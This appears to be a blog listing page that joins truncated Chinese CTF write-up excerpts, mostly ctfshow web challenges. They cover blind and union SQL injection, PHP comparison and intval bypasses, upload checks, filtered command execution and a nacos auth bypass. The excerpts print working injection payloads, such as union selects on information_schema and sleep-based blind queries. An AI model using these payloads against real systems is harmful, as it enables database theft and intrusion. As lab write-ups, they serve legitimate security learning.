web254 和反序列化没啥关系，可能只是来了解一下代码： error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($t
web214 时间盲注 终于知道是哪来的注入点了，在主页的网络包中有一个select.js中能看到： $.ajax({ url:'api/', dataType:"json", type:'post', data:{ ip:returnCitySN["cip"], debug:0 } }); 向其中可以存在注入点。 hackbar测试一下： 有sql执行，继续构建测试payload： ip=if(substr(database(),1,1)=('c'),sleep(5),1)&debug=0 然后就是写脚本 先贴一下佬们的脚本： """ Au
web191 跟上题一样，由于换了一章，就重新叙述一下。 布尔盲注需要先找到一个可改变的注入点。 比如： * admin' and 0#时返回的是用户名不存在 * admin' and 1#返回的是密码错误 由此编写脚本：这题还是用是190的脚本即可 直接使用paayload： # -*- encoding: utf-8 -*- """ @File : SQL布尔盲注2.py @Contact : 2997453446@qq.com @Blog : natro92.github.io @Modify Time @Author @Ver
web171 $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;"; 三栏一眼丁真，直接内容拼入即可。 -1' union select 1,2,database() --+ 查询库名： -1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+ information_schema,test,mysql,performan
web151、web152 前端校验 根据提示，检验写在了前端。 layui.use('upload', function(){ var upload = layui.upload; //执行实例 var uploadInst = upload.render({ elem: '#upload' //绑定元素 ,url: '/upload/' //上传接口 ,done: function(res){ if(res.code==0){ $("#result").html("文件上传成功，路径："+res.msg); }e
web106 highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } } 数组和转为0e都行，这里图省事使用了数组绕过。 web107 parse_str highlight_file(__FILE__); error_reporting(0); inc
战队答题情况 排名：282 解题列表 Web * BackendService Pwn * 烧烤摊儿 * funcanary Misc * 签到卡 * pyshell * 网络安全人才实战能力评价现状调查问卷 Re * babyRE * ezAndroid Crypto * 基于国密SM2算法的密钥密文分发 * Sign_in_passwd Web BackendService 在nacos权限绕过漏洞，网上找了一个payload nacos抓包，修改返回包中参数，登录 https://xz.aliyun.com/t/11493#toc-5
web89 include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } 遇事不决先试试数组捏，?num[]=1 web90 include("flag.php"); highlight_file(__FILE__); if
参考链接： https://blog.csdn.net/weixin_46081055/article/details/121721209 web118 题目里面提示了：flag in flag.php 随便提交一点东西，看到源代码中： post上传然后system执行，但是没有回显。 但是输入会出现evil input，因此想到可能是有过滤。 fuzz一下： 发现有的字符被过滤掉了： 剩余的字符有A-Z，;:{}?#$_,@~ 看了wp学了一个新姿势：以下是在本地测试的。 我们到web测试一下： web上的用户名末尾为l，path末尾为n，因此我们可以尝试组合： ${PATH:
web58 if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); } 正常来说，看到这个格式，我们第一个想到的就是使用system然后命令执行，但是当我们尝试使用时会发现： 这是因为php.ini配置中默认禁用了执行系统外部命令函数，但是这里我们可以用php内置函数来读取文件，因此这部分学习的时php相关函数的使用。 我们需要先查看当前目录。c=print_r(glob("*")); 或者c=print_r(scandir('.'));（注意两者的返回数组内容不同
